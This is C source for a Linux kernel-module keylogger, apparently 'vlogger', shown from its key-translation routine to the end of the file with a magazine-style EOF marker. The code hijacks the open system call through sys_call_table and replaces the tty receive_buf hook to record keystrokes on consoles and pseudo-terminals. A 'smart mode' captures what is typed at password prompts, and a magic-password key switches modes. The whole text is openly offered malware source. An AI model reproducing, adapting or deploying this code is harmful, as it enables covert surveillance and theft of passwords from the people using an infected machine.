    	switch(count) {
	    case 2:
    	    	switch(cp[1]) {
			case '\'':
				append_c(tmp, "[ALT-\']", 7);
				break;
			case ',':
				append_c(tmp, "[ALT-,]", 7);
				break;
			case '-':
				append_c(tmp, "[ALT--]", 7);
				break;
			case '.':
				append_c(tmp, "[ALT-.]", 7);
				break;
			case '/':
				append_c(tmp, "[ALT-/]", 7);
				break;
			case '0':
				append_c(tmp, "[ALT-0]", 7);
				break;
			case '1':
				append_c(tmp, "[ALT-1]", 7);
				break;
			case '2':
				append_c(tmp, "[ALT-2]", 7);
				break;
			case '3':
				append_c(tmp, "[ALT-3]", 7);
				break;
			case '4':
				append_c(tmp, "[ALT-4]", 7);
				break;
			case '5':
				append_c(tmp, "[ALT-5]", 7);
				break;
			case '6':
				append_c(tmp, "[ALT-6]", 7);
				break;
			case '7':
				append_c(tmp, "[ALT-7]", 7);
				break;
			case '8':
				append_c(tmp, "[ALT-8]", 7);
				break;
			case '9':
				append_c(tmp, "[ALT-9]", 7);
				break;
			case ';':
				append_c(tmp, "[ALT-;]", 7);
				break;
			case '=':
				append_c(tmp, "[ALT-=]", 7);
				break;
			case '[':
				append_c(tmp, "[ALT-[]", 7);
				break;
			case '\\':
				append_c(tmp, "[ALT-\\]", 7);
				break;
			case ']':
				append_c(tmp, "[ALT-]]", 7);
				break;
			case '`':
				append_c(tmp, "[ALT-`]", 7);
				break;
			case 'a':
				append_c(tmp, "[ALT-A]", 7);
				break;
			case 'b':
				append_c(tmp, "[ALT-B]", 7);
				break;
			case 'c':
				append_c(tmp, "[ALT-C]", 7);
				break;
			case 'd':
				append_c(tmp, "[ALT-D]", 7);
				break;
			case 'e':
				append_c(tmp, "[ALT-E]", 7);
				break;
			case 'f':
				append_c(tmp, "[ALT-F]", 7);
				break;
			case 'g':
				append_c(tmp, "[ALT-G]", 7);
				break;
			case 'h':
				append_c(tmp, "[ALT-H]", 7);
				break;
			case 'i':
				append_c(tmp, "[ALT-I]", 7);
				break;
			case 'j':
				append_c(tmp, "[ALT-J]", 7);
				break;
			case 'k':
				append_c(tmp, "[ALT-K]", 7);
				break;
			case 'l':
				append_c(tmp, "[ALT-L]", 7);
				break;
			case 'm':
				append_c(tmp, "[ALT-M]", 7);
				break;
			case 'n':
				append_c(tmp, "[ALT-N]", 7);
				break;
			case 'o':
				append_c(tmp, "[ALT-O]", 7);
				break;
			case 'p':
				append_c(tmp, "[ALT-P]", 7);
				break;
			case 'q':
				append_c(tmp, "[ALT-Q]", 7);
				break;
			case 'r':
				append_c(tmp, "[ALT-R]", 7);
				break;
			case 's':
				append_c(tmp, "[ALT-S]", 7);
				break;
			case 't':
				append_c(tmp, "[ALT-T]", 7);
				break;
			case 'u':
				append_c(tmp, "[ALT-U]", 7);
				break;
			case 'v':
				append_c(tmp, "[ALT-V]", 7);
				break;
			case 'x':
				append_c(tmp, "[ALT-X]", 7);
				break;
			case 'y':
				append_c(tmp, "[ALT-Y]", 7);
				break;
			case 'z':
				append_c(tmp, "[ALT-Z]", 7);
				break;
		}
		break;
	    case 3:
		switch(cp[2]) {
			case 68:
				// Left: 27 91 68
				append_c(tmp, "[LEFT]", 6);
				break;
			case 67:
				// Right: 27 91 67
				append_c(tmp, "[RIGHT]", 7);
				break;
			case 65:
				// Up: 27 91 65
				append_c(tmp, "[UP]", 4);
				break;
			case 66:
				// Down: 27 91 66
				append_c(tmp, "[DOWN]", 6);
				break;
			case 80:
				// Pause/Break: 27 91 80 
				append_c(tmp, "[BREAK]", 7);
				break;
		}
		break;
	    case 4:
		switch(cp[3]) {
			case 65:
				// F1: 27 91 91 65
				append_c(tmp, "[F1]", 4);
				break;
			case 66:
				// F2: 27 91 91 66
				append_c(tmp, "[F2]", 4);
				break;
			case 67:
				// F3: 27 91 91 67
				append_c(tmp, "[F3]", 4);
				break;
			case 68:
				// F4: 27 91 91 68
				append_c(tmp, "[F4]", 4);
				break;
			case 69:
				// F5: 27 91 91 69
				append_c(tmp, "[F5]", 4);
				break;
			case 126:
				switch(cp[2]) {
					case 53:
						// PgUp: 27 91 53 126
						append_c(tmp, "[PgUP]", 6);
						break;
					case 54:
						// PgDown: 27 91 54 126
						append_c(tmp, 
							"[PgDOWN]", 8);
						break;
					case 49:
						// Home: 27 91 49 126
						append_c(tmp, "[HOME]", 6);
						break;
					case 52:
						// End: 27 91 52 126
						append_c(tmp, "[END]", 5);
						break;
					case 50:
						// Insert: 27 91 50 126
						append_c(tmp, "[INS]", 5);
						break;
					case 51:
						// Delete: 27 91 51 126
						append_c(tmp, "[DEL]", 5);
						break;
				}
			break;
		}
		break;
	    case 5:
		if(cp[2] == 50)
			switch(cp[3]) {
				case 48:
					// F9: 27 91 50 48 126
					append_c(tmp, "[F9]", 4);
					break;
				case 49:
					// F10: 27 91 50 49 126
					append_c(tmp, "[F10]", 5);
					break;
				case 51:
					// F11: 27 91 50 51 126
					append_c(tmp, "[F11]", 5);
					break;
				case 52:
					// F12: 27 91 50 52 126
					append_c(tmp, "[F12]", 5);
					break;
				case 53:
					// Shift-F1: 27 91 50 53 126
					append_c(tmp, "[SH-F1]", 7);
					break;
				case 54:
					// Shift-F2: 27 91 50 54 126
					append_c(tmp, "[SH-F2]", 7);
					break;
				case 56:
					// Shift-F3: 27 91 50 56 126
					append_c(tmp, "[SH-F3]", 7);
					break;
				case 57:
					// Shift-F4: 27 91 50 57 126
					append_c(tmp, "[SH-F4]", 7);
					break;
			}
		else
			switch(cp[3]) {
				case 55:
					// F6: 27 91 49 55 126
					append_c(tmp, "[F6]", 4);
					break;
		     		case 56:
					// F7: 27 91 49 56 126
					append_c(tmp, "[F7]", 4);
					break;
     				case 57:
					// F8: 27 91 49 57 126
					append_c(tmp, "[F8]", 4);
					break;
		     		case 49:
					// Shift-F5: 27 91 51 49 126
					append_c(tmp, "[SH-F5]", 7);
					break;
		     		case 50:
					// Shift-F6: 27 91 51 50 126
					append_c(tmp, "[SH-F6]", 7);
					break;
     				case 51:
					// Shift-F7: 27 91 51 51 126
					append_c(tmp, "[SH-F7]", 7);
					break;
		     		case 52:
					// Shift-F8: 27 91 51 52 126
					append_c(tmp, "[SH-F8]", 7);
					break;
			};
		break;
	    default:	// Unknow
		break;
    }
}


/* 
 *  Called whenever user press a key
 */

void vlogger_process(struct tty_struct *tty, 
			const unsigned char *cp, int count)
{
	struct tlogger *tmp = ttys[TTY_INDEX(tty)];

	if (!tmp) {
		DPRINT("erm .. unknow error???\n");
		init_tty(tty, TTY_INDEX(tty));
		tmp = ttys[TTY_INDEX(tty)];
		if (!tmp)
			return;
	}

	if (vlogger_mode == VK_SMARTMODE) {
		if (tmp->status && !IS_PASSWD(tty)) {
			resetbuf(tmp);
		}		
		if (!tmp->pass && IS_PASSWD(tty)) {
			logging(tty, tmp, 0);
			resetbuf(tmp);
		}
		if (tmp->pass && !IS_PASSWD(tty)) { 
			if (!tmp->lastpos)
				logging(tty, tmp, 0);
			resetbuf(tmp);
		}
		tmp->pass  = IS_PASSWD(tty);
		tmp->status = 0;
	}

	if ((count + tmp->lastpos) > MAX_BUFFER - 1) {	
		logging(tty, tmp, 1);
		resetbuf(tmp);
	} 

	if (count == 1) {
		if (cp[0] == VK_TOGLE_CHAR) {
			if (!strcmp(tmp->buf, MAGIC_PASS)) {
				if(vlogger_mode < 2)
					vlogger_mode++;
				else
					vlogger_mode = 0;
				reset_all_buf();

				switch(vlogger_mode) {
					case VK_DUMBMODE:
				    		DPRINT("Dumb Mode\n");
						TTY_WRITE(tty, "\r\n"
				    		"Dumb Mode\n", 12);
						break;
					case VK_SMARTMODE:
				    		DPRINT("Smart Mode\n");
						TTY_WRITE(tty, "\r\n"
						"Smart Mode\n", 13);
						break;
					case VK_NORMAL:
					    	DPRINT("Normal Mode\n");
						TTY_WRITE(tty, "\r\n"
						"Normal Mode\n", 14);
				}
			}
		}

		switch (cp[0]) {
			case 0x01:	//^A
				append_c(tmp, "[^A]", 4);
				break;
			case 0x02:	//^B
				append_c(tmp, "[^B]", 4);
				break;
			case 0x03:	//^C
				append_c(tmp, "[^C]", 4);
			case 0x04:	//^D
				append_c(tmp, "[^D]", 4);
			case 0x0D:	//^M
			case 0x0A:
				if (vlogger_mode == VK_SMARTMODE) {
					if (IS_PASSWD(tty)) {
						logging(tty, tmp, 0);
						resetbuf(tmp);
					} else
						tmp->status = 1;
				} else {
					logging(tty, tmp, 0);
					resetbuf(tmp);
				}
				break;
			case 0x05:	//^E
				append_c(tmp, "[^E]", 4);
				break;
			case 0x06:	//^F
				append_c(tmp, "[^F]", 4);
				break;
			case 0x07:	//^G
				append_c(tmp, "[^G]", 4);
				break;
			case 0x09:	//TAB - ^I
				append_c(tmp, "[TAB]", 5);
				break;
			case 0x0b:	//^K
				append_c(tmp, "[^K]", 4);
				break;
			case 0x0c:	//^L
				append_c(tmp, "[^L]", 4);
				break;
			case 0x0e:	//^E
				append_c(tmp, "[^E]", 4);
				break;
			case 0x0f:	//^O
				append_c(tmp, "[^O]", 4);
				break;
			case 0x10:	//^P
				append_c(tmp, "[^P]", 4);
				break;
			case 0x11:	//^Q
				append_c(tmp, "[^Q]", 4);
				break;
			case 0x12:	//^R
				append_c(tmp, "[^R]", 4);
				break;
			case 0x13:	//^S
				append_c(tmp, "[^S]", 4);
				break;
			case 0x14:	//^T
				append_c(tmp, "[^T]", 4);
				break;
			case 0x15:	//CTRL-U
				resetbuf(tmp);
				break;				
			case 0x16:	//^V
				append_c(tmp, "[^V]", 4);
				break;
			case 0x17:	//^W
				append_c(tmp, "[^W]", 4);
				break;
			case 0x18:	//^X
				append_c(tmp, "[^X]", 4);
				break;
			case 0x19:	//^Y
				append_c(tmp, "[^Y]", 4);
				break;
			case 0x1a:	//^Z
				append_c(tmp, "[^Z]", 4);
				break;
			case 0x1c:	//^\
				append_c(tmp, "[^\\]", 4);
				break;
			case 0x1d:	//^]
				append_c(tmp, "[^]]", 4);
				break;
			case 0x1e:	//^^
				append_c(tmp, "[^^]", 4);
				break;
			case 0x1f:	//^_
				append_c(tmp, "[^_]", 4);
				break;
			case BACK_SPACE_CHAR1:
			case BACK_SPACE_CHAR2:
				if (!tmp->lastpos) break;
				if (tmp->buf[tmp->lastpos-1] != ']')
					tmp->buf[--tmp->lastpos] = 0;
				else {
					append_c(tmp, "[^H]", 4);
				}
				break;
			case ESC_CHAR:	//ESC
				append_c(tmp, "[ESC]", 5);
				break;
			default:
				tmp->buf[tmp->lastpos++] = cp[0];
				tmp->buf[tmp->lastpos] = 0;
		}
	} else {	// a block of chars or special key
		if (cp[0] != ESC_CHAR) {
			while (count >= MAX_BUFFER) {
				append_c(tmp, cp, MAX_BUFFER);
				logging(tty, tmp, 1);
				resetbuf(tmp);
				count -= MAX_BUFFER;
				cp += MAX_BUFFER;
			}

			append_c(tmp, cp, count);
		} else 	// special key
			special_key(tmp, cp, count);
	}
}


void my_tty_open(void) 
{
	int fd, i;
	char dev_name[80];

#ifdef LOCAL_ONLY
	int fl = 0;
	struct tty_struct * tty;
	struct file * file;
#endif

	for (i=1; i<MAX_TTY_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

		BEGIN_KMEM
			fd = open(dev_name, O_RDONLY, 0);
			if (fd < 0) continue;

#ifdef LOCAL_ONLY
			file = fget(fd);
			tty = file->private_data;
			if (tty != NULL  && 
				tty->ldisc.receive_buf != NULL) {
				if (!fl) {
					old_receive_buf = 
						tty->ldisc.receive_buf;
					fl = 1;
				}
				init_tty(tty, TTY_INDEX(tty));
			}
			fput(file);
#endif

			close(fd);
		END_KMEM
	}

#ifndef LOCAL_ONLY
	for (i=0; i<MAX_PTS_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

		BEGIN_KMEM
			fd = open(dev_name, O_RDONLY, 0);
			if (fd >= 0) close(fd);
		END_KMEM
	}
#endif

}


void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
						char *fp, int count)
{
	if (!tty->real_raw && !tty->raw)	// ignore raw mode
		vlogger_process(tty, cp, count);
	(*old_receive_buf)(tty, cp, fp, count);
}


static inline void init_tty(struct tty_struct *tty, int tty_index)
{
	struct tlogger *tmp;

	DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

	if (ttys[tty_index] == NULL) {
		tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
		if (!tmp) {
			DPRINT("kmalloc failed!\n");
			return;
		}
		memset(tmp, 0, sizeof(struct tlogger));
		tmp->tty = tty;
		tty->ldisc.receive_buf = new_receive_buf;
		ttys[tty_index] = tmp;
	} else {
		tmp = ttys[tty_index];
		logging(tty, tmp, 1);
		resetbuf(tmp);
		tty->ldisc.receive_buf = new_receive_buf;
	}
}


asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
	int ret;
	static int fl = 0;
	struct file * file;
	
	ret = (*original_sys_open)(filename, flags, mode);
	
	if (ret >= 0) {
		struct tty_struct * tty;

	    BEGIN_KMEM
	    	lock_kernel();
		file = fget(ret);
		tty = file->private_data;

		if (tty != NULL && 
			((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
			TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
			(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
			tty->driver.subtype == PTY_TYPE_SLAVE &&
			TTY_NUMBER(tty) < MAX_PTS_CON)) &&
			tty->ldisc.receive_buf != NULL &&
			tty->ldisc.receive_buf != new_receive_buf) {

			if (!fl) {
				old_receive_buf = tty->ldisc.receive_buf;
				fl = 1;
			}
			init_tty(tty, TTY_INDEX(tty));
		}
		fput(file);
		unlock_kernel();
	    END_KMEM
	}
	return ret;
}


int init_module(void)
{

	DPRINT(MVERSION);
#ifndef LOCAL_ONLY
	original_sys_open = sys_call_table[__NR_open];
	sys_call_table[__NR_open] = new_sys_open;
#endif
	my_tty_open();
//	MOD_INC_USE_COUNT;

	return 0;
}

DECLARE_WAIT_QUEUE_HEAD(wq);

void cleanup_module(void)
{
	int i;

#ifndef LOCAL_ONLY
	sys_call_table[__NR_open] = original_sys_open;
#endif

	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
		if (ttys[i] != NULL) {
			ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
		}
	}
	sleep_on_timeout(&wq, HZ);
	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
		if (ttys[i] != NULL) {
			kfree(ttys[i]);
		}
	}
	DPRINT("Unloaded\n");
}

EXPORT_NO_SYMBOLS;
<-->
|=[ EOF ]=---------------------------------------------------------------=|